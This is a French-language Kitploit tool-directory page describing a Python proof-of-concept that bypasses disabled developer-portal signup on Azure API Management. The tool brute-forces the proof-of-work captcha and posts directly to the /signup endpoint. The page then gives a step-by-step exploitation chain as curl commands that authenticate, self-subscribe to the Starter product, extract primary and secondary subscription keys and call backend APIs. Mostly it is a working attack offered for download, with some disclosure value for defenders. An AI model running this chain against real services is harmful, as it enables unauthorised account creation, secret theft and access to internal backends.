Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Azure-APIM-Dev-Portal-Signup-Bypass — Script Python permettant de contourner l'inscription Azure APIM lorsque l'interface utilisateur (UI) est désactivée ; il diffère de la CVE-2025-66390 car il ne nécessite pas de configurer quoi que ce soit entre locataires (cross-tenant). | Kitploit
Outils/GitHubGitHub/dz-y/azure-apim-dev-portal-signup-bypass
Authentification et AutorisationSécurité de l'Infrastructure CloudExploitation d'Applications WebTests de Sécurité des APITests d'IntrusionSécurité CloudMauvaise ConfigurationSécurité des APIContournement de CAPTCHA

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
GitHubdz-y/azure-apim-dev-portal-signup-bypass

Azure-APIM-Dev-Portal-Signup-Bypass

Script Python permettant de contourner l'inscription Azure APIM lorsque l'interface utilisateur (UI) est désactivée ; il diffère de la CVE-2025-66390 car il ne nécessite pas de configurer quoi que ce soit entre locataires (cross-tenant).

Voir le dépôt
il y a 15 joursPas encore vérifié
Partager

Un script de preuve de concept pour contourner l'inscription désactivée du portail développeur sur Azure APIM en invoquant directement l'API d'enregistrement backend.

Ce qu'il fait

Les portails développeur Azure APIM peuvent être configurés pour désactiver l'inscription en libre-service via l'interface du portail. Dans certains déploiements, le point de terminaison API sous-jacent (/signup) reste actif et accessible même lorsque le bouton de l'interface est masqué ou supprimé. Ce script exploite cette faille en :

  1. Récupérant le défi captcha preuve de travail (PoW) depuis /v2/captcha-challenge
  2. Forçant la solution SHA-256 du PoW côté client
  3. Soumettant une demande d'inscription directement à /signup avec le défi résolu et les détails du compte

Toutes les entrées (URL cible, identifiants, proxy) sont demandées de manière interactive à l'exécution.

Relation avec CVE-2025-66390

CVE-2025-66390 (CVSS 9.8 Critique) décrit un contournement d'inscription APIM inter-locataire : un attaquant abuse d'un locataire où l'inscription est activée pour enregistrer des comptes dans un autre locataire où l'inscription est désactivée, en manipulant l'en-tête Host sur les requêtes API. Microsoft a qualifié cela de problème de configuration plutôt que de vulnérabilité produit.

Cela ne nécessite pas la création d'un locataire croisé ; il suffit d'utiliser le point de terminaison /v2/captcha-challenge pour résoudre le captcha en 75 000 itérations (en moyenne).

Utilisation

root@kitploit:~
python3 apim_signup.py

Demande l'URL cible, les détails du compte, le mot de passe (saisie masquée, affichée pour confirmation) et un proxy facultatif.

Chaîne d'exploitation après l'inscription

Une fois que la demande d'inscription aboutit et que l'e-mail de confirmation arrive, la chaîne d'attaque complète est :

Étape 1 — Confirmer l'e-mail

Cliquez sur le lien de confirmation dans l'e-mail d'inscription. Cela active le compte avant que l'API de gestion ne l'authentifie.

Étape 2 — S'authentifier et obtenir l'ID utilisateur

Appelez l'API de gestion APIM avec l'authentification Basic (base64(email:password)) pour obtenir votre ID utilisateur interne :

root@kitploit:~
curl -s "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/identity?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"id":"<user-id>"}

Le champ id retourné est utilisé dans tous les appels ultérieurs à l'API de gestion.

OU appelez /developer/identity?api-version=2022-04-01-preview <-- la version n'a pas d'importance Une interface vous demandera de vous connecter ; à partir de là, vous pouvez également obtenir votre id.

image

Étape 3 — S'abonner soi-même à un produit

Le produit Starter par défaut est fourni avec approvalRequired: false, ce qui signifie qu'aucune approbation d'administrateur n'est nécessaire. Abonnez-vous via PUT :

root@kitploit:~
curl -s -X PUT "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>" \
  -H "Content-Type: application/json" \
  -d '{"properties":{"scope":"/products/starter","displayName":"Starter"}}'
# → HTTP 201 Created

Un e-mail de confirmation (« Votre abonnement au Starter ») arrive de [email protected].

Étape 4 — Récupérer les clés d'abonnement

root@kitploit:~
curl -s -X POST "https://<service>.management.azure-api.net/subscriptions/<sub>/resourceGroups/<rg>/providers/Microsoft.ApiManagement/service/<service>/users/<user-id>/subscriptions/starter-sub/listSecrets?api-version=2019-12-01" \
  -H "Authorization: Basic <base64(email:password)>"
# → {"primaryKey":"...","secondaryKey":"..."}

Étape 5 — Appeler les API backend

Utilisez la clé primaire comme Ocp-Apim-Subscription-Key auprès de la passerelle APIM pour effectuer des appels backend authentifiés :

root@kitploit:~
curl -s "https://<service>.azure-api.net/<api-path>" \
  -H "Ocp-Apim-Subscription-Key: <primaryKey>"

L'accès est déterminé par les API rattachées au produit Starter — dans un déploiement mal configuré, cela peut exposer des backends internes sans authentification supplémentaire.


Pour plus de détails, cet article décrit très bien la chaîne ; il suffit d'enlever la partie inter-locataire. https://www.praetorian.com/blog/azure-apim-signup-bypass/

Télécharger l’outil